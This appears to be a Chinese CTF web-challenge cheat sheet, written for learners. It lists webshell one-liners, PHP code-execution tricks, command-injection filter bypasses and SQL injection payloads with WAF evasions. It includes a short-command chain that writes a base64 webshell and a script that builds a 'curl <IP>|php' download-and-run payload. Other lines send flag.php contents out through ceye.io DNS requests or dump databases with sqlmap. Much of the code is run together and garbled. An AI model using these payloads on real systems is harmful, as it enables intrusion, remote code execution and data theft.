网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。
文章目录
基础
Flag可能出现的位置
网页源代码(注意注释)
数据库中
phpinfo
靶机中的文件
环境变量
题目要求
XFF/Refer/UA/Cookie/F12( view-source: )/URL/robots.txt/响应码/
指纹识别
TideFinger/Bscan/Glass/Arjun/Wappalyzer插件
源码和HTTP响应信息
HTTP响应文
错误界面(404/302)
源码泄露
Git
Githack恢复
查看log后选择性地进行git reset回滚
.git/config可能有access_token信息
SVN
Seay-svn/dvcs-ripper工具
注意wc.db文件存在与否
WEB.INF/web.xml泄露
.DS_Store文件泄漏
.hg泄露:dvcs.ripper工具
CVS泄露
备份文件泄露
gedit:filename ~
vim:vim -r filename.swp/.swo/.swn
www.zip/rar/tar.gz
常用一句话
PHP
<?php @eval($_POST['yj']);?>
ASP
<%eval request ("yj")%>
ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>
JSP
JSP一句话木马 - 简书 (jianshu.com)
shtml
ssi:<--#includefile="..\..\web.config"-->
PHP专题
基础
ctfshow web102
<?=是php的短标签,是echo()的快捷用法 ?? #### 数组总比非数组类型大 #### && > = > and #### 内部类 常用`Exception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Exception&v2=system('tac fl36dg.txt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettext() 是gettext()的拓展函数,需要开启text扩展。`echo gettext("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_exec() 缩写为`` #### sprintf() `sprintf(format,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\`匹配任何参数都为空。 ```php <?php ... $username = addslashes($_POST['username']); $username = sprintf("username = '%s' ",$username); $password = $_POST['password']; ... $sql = sprintf("select * from t where $username and password = '%s' ", $password); ... ?>
payload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。
#### mt_rand()
`mt_rand(min,max)`
```php
<?php
show_source(__FILE__);
include "flag.php";
$a = @$_REQUEST['hello']; // hello没有任何过滤
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];
mt_srand($seed);
$true_key = mt_rand();
if ($key == $true_key){
echo "Key Confirm";
}
else{
die("Key Error");
}
eval( "var_dump($a);");
?>
payload:
POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0
复杂变量
${}
eval('$string = "'.$_GET[cmd].'";');// payload: http://127.0.0.1/test.php?cmd=${phpinfo()}
file_get_contents()
函数将整个文件或一个url所指向的文件读入一个字符串中
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
SoapClient
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的
__call
方法,那么
__call
便方法可以发送HTTP和HTTPS请求。
MD5/SHA1 绕过 // TODO
0e
sha1('aaroZmOk') //0e66507019969427134894567494305185566735
sha1('aaK1STfY') //0e76658526655756207688271159624026011393
md5('QNKCDZO') //0e830400451993494058024219903391
md5('240610708') //0e462097431906509019562988736854
md5()遇到数组时会警告并且返回null:
var_dump(@md5([]) === @md5([])) //bool(true)
,即
null===null
ffifdyop:SQL注入绕过
$password="ffifdyop";$sql="SELECT * FROM admin WHERE pass = '".md5($password,true)."'";var_dump($sql);
弱类型
is_numeric()绕过:33a或者数组(大于任何值)绕过
字符串比较
比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。
var_dump(@strcmp([],'flag') == 0); //bool(true)
intval()
var_dump(intval('1'));//int(1)var_dump(intval('1a'));//int(1)var_dump(intval('1%001'));//int(1)var_dump(intval('a1'));//int(0)
trim
利用 trim 及 is_numeric 等函数实现的绕过
<?php// %0c1%00$number="\f1\0";// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f$number_2=trim($number);var_dump($number_2);// \f1$number_2=addslashes($number_2);var_dump($number_2);// \f1// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符// 但是不会过滤 '\0'var_dump(is_numeric($number));// falsevar_dump(strval(intval($number_2)));// 1var_dump("\f1"=="1");// true?>
正则式:/e可执行,构造越界 // TODO
ereg()
搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,匹配可以被%00截断绕过
preg_replace() // TODO 慢慢积累
变量覆盖
$$
extract()函数
extract(array, extract_rules, prefix)
使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量
<?php$flag='aaa';extract($_GET);if(isset($gift)){$content=trim(file_get_contents($flag));if($gift==$content){echo'flag{yjprolus}';}else{echo'no flag';}}?>// payload: GET:?flag=&gift= // extract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。
parse_str()
parse_str("name=Peter&age=43",$myArray);print_r($myArray);//Array ( [name] => Peter [age] => 43 )
// TODO 再写几道例题
import_request_variables()
import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。该函数在最新版本的 php 中已经不支持
似乎没啥考点这个函数,可参考 CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)
开启了全局变量注册
其他
call_user_func(array($ctfshow, ‘getFlag’));
等于ctfshow::getFlag
(执行ctfshow类中静态方法getFlag)$cmd=$_GET['cmd'];if(preg_match('/^php$/im',$cmd)){# /i表示不区分大小写,/m表示多行匹配if(preg_match('/^php$/i',$cmd)){# 字符 ^ 和 $ 同时使用时,表示精确匹配 echo'hacker';}}payload:?cmd=aaa%0aphp # %0a为换行符,这样是两行
// TODO ctfshow web123
// ctfshow web147if(isset($_POST['ctf'])){$ctfshow=$_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)){$ctfshow('',$_GET['show']);}}// GET部分原理如下functionf($dotast){echo111;}phpinfo();//}
payload:GET?show=echo 123;}system("tac flag.php");//
POSTctf=\create_function
(\为PHP默认命名空间,\phpinfo即为直接调用该函数)
命令执行
相关函数
命令执行
- system()
#string system ( string $command [, int &$return_var ] )#system()函数执行有回显,将执行结果输出到页面上<?php system("whoami");?>
- exec()
<?phpechoexec("whoami");?>
- popen()
#resource popen ( string $command , string $mode )#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行<?php popen('whoami >> c:/1.txt','r');?><?php$test="ls /tmp/test";$fp=popen($test,"r");//popen打一个进程通道 while(!feof($fp)){//从通道里面取得东西 $out=fgets($fp,4096);echo$out;//打印出来 }pclose($fp);?>
- proc_open()
resource proc_open(string$cmd,array$descriptorspec,array&$pipes[,string$cwd[,array$env[,array$other_options]]])#与Popen函数类似,但是可以提供双向管道<?php$test="ipconfig";$array=array(array("pipe","r"),//标准输入 array("pipe","w"),//标准输出内容 array("pipe","w")//标准输出错误 );$fp=proc_open($test,$array,$pipes);//打开一个进程通道 echostream_get_contents($pipes[1]);//为什么是$pipes[1],因为1是输出内容 proc_close($fp);?>
- passthru()
#void passthru ( string $command [, int &$return_var ] )<?php passthru("whoami");?>
- shell_exec()
#string shell_exec( string &command)<?php echoshell_exec("whoami");?>
- **反引号
**```#shell_exec() 函数实际上仅是反撇号 (
) 操作符的变体,当禁用shell_exec时,也不可执行<?php echo
whoami`;?>``` - pcntl_exec()
#void pcntl_exec ( string $path [, array $args [, array $envs ]] )#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本#args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0<?php pcntl_exec("/bin/bash",array("whoami"));?>
代码注入
- eval()
#传入的参数必须为PHP代码,既需要以分号结尾。#命令执行:cmd=system(whoami);#菜刀连接密码:cmd<?php @eval($_POST['cmd']);?>
- assert()
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。#命令执行:cmd=system(whoami)#菜刀连接密码:cmd<?php @assert($_POST['cmd'])?>
- preg_replace()
#preg_replace('正则规则','替换字符','目标字符')#执行命令和上传文件参考assert函数(不需要加分号)。#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test");
- create_function()
#创建匿名函数执行代码#执行命令和上传文件参考eval函数(必须加分号)。#菜刀连接密码:cmd$func=create_function('',$_POST['cmd']);$func();
- array_map()
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。#命令执行http://localhost/123.php?func=system cmd=whoami#菜刀连接http://localhost/123.php?func=assert 密码:cmd$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo$new_array;
- call_user_func()
#传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码:cmdcall_user_func("assert",$_POST['cmd']);
- call_user_func_array()
#将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码:cmd$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);
- array_filter()
#用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接http://localhost/123.php?func=assert 密码cmd$cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);
- uasort()
#php环境>=<5.6才能用#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmdusort($_GET,'asse'.'rt');
绕过方式
空格
#常见的绕过符号有:$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、
#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用
命令分隔符
%0a #换行符,需要php环境%0d #回车符,需要php环境;#在 shell 中,是”连续指令”&#不管第一条命令成功与否,都会执行第二条命令&&#第一条命令成功,第二条才会执行|#第一条命令的结果,作为第二条命令的输入||#第一条命令失败,第二条才会执行
关键字
假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做
- 拼接绕过
#执行ls命令:a=l;b=s;$a$b#cat flag文件内容:a=c;b=at;c=f;d=lag;$a$b${c}${d}#cat test文件内容a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
- 编码绕过
#base64echo"Y2F0IC9mbGFn"|base64-d|bash==> cat /flagechoY2F0IC9mbGFn|base64-d|sh==> cat /flag#hexecho"0x636174202f666c6167"|xxd-r -p|bash==> cat /flag#oct/字节$(printf "\154\163")==>ls$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")==>cat /flag{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0==>cat /flag#i也可以通过这种方式写马#内容为<?php @eval($_POST['c']);?>${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}>>1.php
- 单引号和双引号绕过
c'a't testc"a"t test
- 反斜杠绕过
ca\t test
- 通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成#当执行程序时,shell自动跟据PATH变量的值去搜索该程序#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索echo$PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`echo $PATH| cut -c 8,9`t test
- 通配符绕过> 1. […]表示匹配方括号之中的任意一个字符> 2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。> 3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
cat t?stcat te*cat t[a-z]stcat t{a,b,c,d,e,f}st
限制长度
>a #虽然没有输入但是会创建a这个文件ls-t#ls基于基于事件排序(从晚到早)sh a #sh会把a里面的每行内容当作命令来执行 使用|进行命令拼接 #l\ s = ls base64 #使用base64编码避免特殊字符
- 七字符限制
w>hpw>1.p\\w>d\>\\w>\ -\\w>e64\\w>bas\\w>7\|\\w>XSk\\w>Fsx\\w>dFV\\w>kX0\\w>bCg\\w>XZh\\w>AgZ\\w>waH\\w>PD9\\w>o\\\w>ech\\ls -t|\sh
翻译过来就是echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d>1.php
脚本代码import requests url ="http://192.168.1.100/rce.php?1={0}"print("[+]start attack!!!")withopen("payload.txt","r")as f:for i in f:print("[*]"+ url.format(i.strip())) requests.get(url.format(i.strip()))#检查是否攻击成功test = requests.get("http://192.168.61.157/1.php")if test.status_code == requests.codes.ok:print("[*]Attack success!!!")
- 四字符限制
#-*-coding:utf8-*-import requests as rfrom time import sleepimport randomimport hashlibtarget ='http://52.197.41.31/'# 存放待下载文件的公网主机的IPshell_ip ='xx.xx.xx.xx'# 本机IPyour_ip = r.get('http://ipv4.icanhazip.com/').text.strip()# 将shell_IP转换成十六进制ip ='0x'+''.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split('.')]) reset = target +'?reset'cmd = target +'?cmd='sandbox = target +'sandbox/'+ hashlib.md5('orange'+ your_ip).hexdigest()+'/'# payload某些位置的可选字符pos0 = random.choice('efgh')pos1 = random.choice('hkpq')pos2 ='g'# 随意选择字符 payload =['>dir',# 创建名为 dir 的文件'>%s>'% pos0,# 假设pos0选择 f , 创建名为 f> 的文件'>%st-'% pos1,# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,# 因为alphabetical序中t>s'>sl',# 创建名为 >sl 的文件;到此处有四个文件,# ls 的结果会是:dir f> kt- sl'*>v',# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符'>rev',# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v'*v>%s'% pos2,# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f# 续行分割 curl 0x11223344|php 并逆序写入'>p', '>ph\', '>|\', '>%s\' % ip[8:10], '>%s\' % ip[6:8], '>%s\' % ip[4:6], '>%s\' % ip[2:4], '>%s\' % ip[0:2], '> \', '>rl\', '>cu\','sh '+ pos2,# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行'sh '+ pos0,# sh f 执行curl命令,下载文件,写入木马。] s = r.get(reset)for i in payload:assertlen(i)<=4 s = r.get(cmd + i)print'[%d]'% s.status_code, s.url sleep(0.1)s = r.get(sandbox +'fun.php?cmd=uname -a')print'[%d]'% s.status_code, s.urlprint s.text
限制回显
- 判断
#利用sleep判断ls;sleep3#http请求/dns请求http://ceye.io/payloads
- 利用
#写shell(直接写入/外部下载)echo>wget#http/dns等方式带出数据#需要去掉空格,可以使用sed等命令echo`cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
无字母、数字getshell
异或
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';$___=$$__;$_($___[_]);// assert($_POST[_]);
简短写法
"`{{{"^"?<>/"//_GET
取反
<?php$__=('>'>'<')+('>'>'<');//$__2$_=$__/$__;//$_1$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST$_=$$_____;//$_=$_POST$____($_[$__]);//assert($_POST[2])
简短写法
${~"\xa0\xb8\xba\xab"}//$_GET
自增
<?php$_=[];$_=@"$_";// $_='Array';$_=$_['!'=='@'];// $_=$_[0];$___=$_;// A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;// S$___.=$__;// S$__=$_;$__++;$__++;$__++;$__++;// E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$____.=$__;$_=$$____;$___($_[_]);// ASSERT($_POST[_]);
实例
<?phpinclude'flag.php';if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>50){die("Too Long.");}if(preg_match("/[A-Za-z0-9_]+/",$code)){die("Not Allowed.");}
@eval($code);}else{highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
payload:
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
$_="{{{"^"?<>/";
=
$_="GET";
${$_}[_](${$_}[__]);
=
$_GET[_]($_GET[__]);
=
getFlag($_GET[__])
=
getFlag(null);
这个
payload
的长度是 37 ,符合题目要求的 小于等于40 。另
fuzz
出了长度为 28 的 payload ,如下:
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();#getFlag()
容器和框架漏洞
Nginx
IIS
PUT上传漏洞
远程溢出漏洞
短文件漏洞
Apache
HTTP组件提权 CVE-2019-0211
CGI
PHP
ThinkPHP
反序列化
ThinkPHP6.0.12LTS反序列漏洞分析
RCE
Thinkphp5 RCE总结
SQL注入
Discuz
Twig
WordPress
Laravel
Smarty
Java
Struts2
OGNL注入
Spring框架
SPEL注入
组件漏洞
fastjson
反序列化
Hessian
二进制(ObjectOutputStream)
JSON
XML
YAML
JRMP安全性问题
JWT攻击
敏感信息泄露
将算法修改为none
密钥混淆攻击
无效签名
暴力破解密钥
密钥泄露
操纵KID
操纵头部参数
JavaScript
SSJI(服务端JavaScript注入)
Node.js
Vue.js
JavaScript Prototype 污染攻击
Python
沙箱逃逸
利用内建函数执行命令
过滤与bypass
框架
Flask
敏感信息泄露
验证码绕过
SESSION伪造和对象注入漏洞
使用hash而非hmac进行签名(Hash长度拓展攻击)
任意文件读取
加密而未签名(CBC字节翻转攻击)
Tornado
Django
反序列化漏洞
pickle模块
Ruby
ERB模板注入
SQL注入
原理
用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行
分类
联合注入
几大基本步骤
判断是否有注入及注入点类型
是否有注入
- 加单引号
- and 8731=8731
- and ‘a’=‘a’
- and 1=2
- or 1=1
- or 1=2
注入点类型
- 字符型- ‘- “- ’)- ”)- %‘
- 数字型
判断查询列数
注意
- union 前后两个select语句的列数要一致
原理
- order by是排序的语句- select * from users order by id(默认升序)- select * from users order by id desc(降序)- select * from users order by 1
order by n
联合查询
union
- id=1’ union select 1,2,3–+
- id=-1’ union select 1,2,3–+
获取基本信息
version()
- 获取数据库的版本
database()
- 获取当前网站使用的数据库
user()
- 当前网站使用的数据库账号
@@secure_file_priv
- 数据库的读写文件
@@datadir
- 数据库的安装目录- phpstudy- c:\phpstudy\mysql- c:\phpstudy\www- wamp- c:\wamp\mysql- c:\wamp\www- 宝塔- /www/server/data(Linux版)- 宝塔系统目录结构
获取数据库名
information_schema数据库
- schemata数据表
- tables数据表
- columns数据表
schemata数据表里面获取数据库名
- select schema_name from schemata;
- id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
- select table_name from tables where table_schema=‘security’;
- select table_name from tables where table_schema=database();
- id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
- select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;###### id=1’ union select 1,2,group_concat(table_name,‘_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解的做法(暴力枚举)
报错注入
几个函数
updatexml/extractvalue
报错的原理
- 构造不满足xpath语法的内容
报错的语句
- id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))
注意
- 版本限制
- 32位长度限制- substr
其他函数
布尔盲注
步骤
获取数据库名
判断有多少个数据库
- count()
判断第一个数据库名的长度
- length()
获取第一个每一位数据库名字的字符
- substr()
- ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
取第一个数据表的每一位字符
获取列名
获取数据
时间盲注
原理
发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入
步骤
同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()
堆叠注入
mysqli_query()不支持 VS mysqli_muiti_query()支持
语法
select * from users;create table you(id int);
id=1’;create table you(id int);#
内联注入
子查询
select (select 1)
区别
应用范围
时间盲注>布尔盲注>报错注入=联合注入
利用便捷度
联合注入>报错注入>布尔盲注>时间盲注
利用点
select - 四种基本注入
update- 联合注入不行
insert - 联合注入不行
delete - 联合注入不行
limit之后的注入
order by之后的注入
GET
POST
HTTP Header
Cookie
Referer
User-Agent
绕过
过滤and or
or ——> ||
and ——> &&
xor——>|
not——>!
十六进制绕过
or ——> o\x72
大小写绕过
Or
aNd
双写绕过
oorr
anandd
urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
关键字内联注释尝试绕所有
/*!or*/
/*!and*/
左括号过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
过滤union\select
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过
select ——> selec\x74
union——>unio\x6e
大小写绕过
SelEct
双写绕过
selselectect
uniunionon
urlencode,ascii(char),hex,unicode编码绕过
关键字内联绕所有
/*!union*/
/*!select*/
过滤空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
过滤=
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
过滤比较符<>
select*fromuserswhereid=1and ascii(substr(database(),0,1))>64
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
过滤where
逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤limit
逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤’(单引号)
逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)
宽字节绕过
%bf%27 %df%27 %aa%27
过滤逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
对于limit可以使用offset来绕过:
select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
过滤hex
逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤substr
逻辑绕过
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
等价函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
\N绕过
\N相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
PCRE绕过
PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select
上面的还不行?尝试修改语句逻辑再绕过
sqlmap
基本步骤
检测是否有注入点
- sqlmap -u “http://www.xxx.com/1.php?id=1”
获取所有数据库名
- sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs
获取数据表
- sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj–tables
获取列名
- sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users --columns
获取数据
- sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users -C id,username,password --dump
常用参数
-r
- 读取文件,提交数据包
- 用*进行标记
-m
- 批量注入
–cookie
–user-agent
–current-db
–current-user
–users
- 获取当前数据库的登陆用户
–passwords
- 获取当前数据库的用户密码
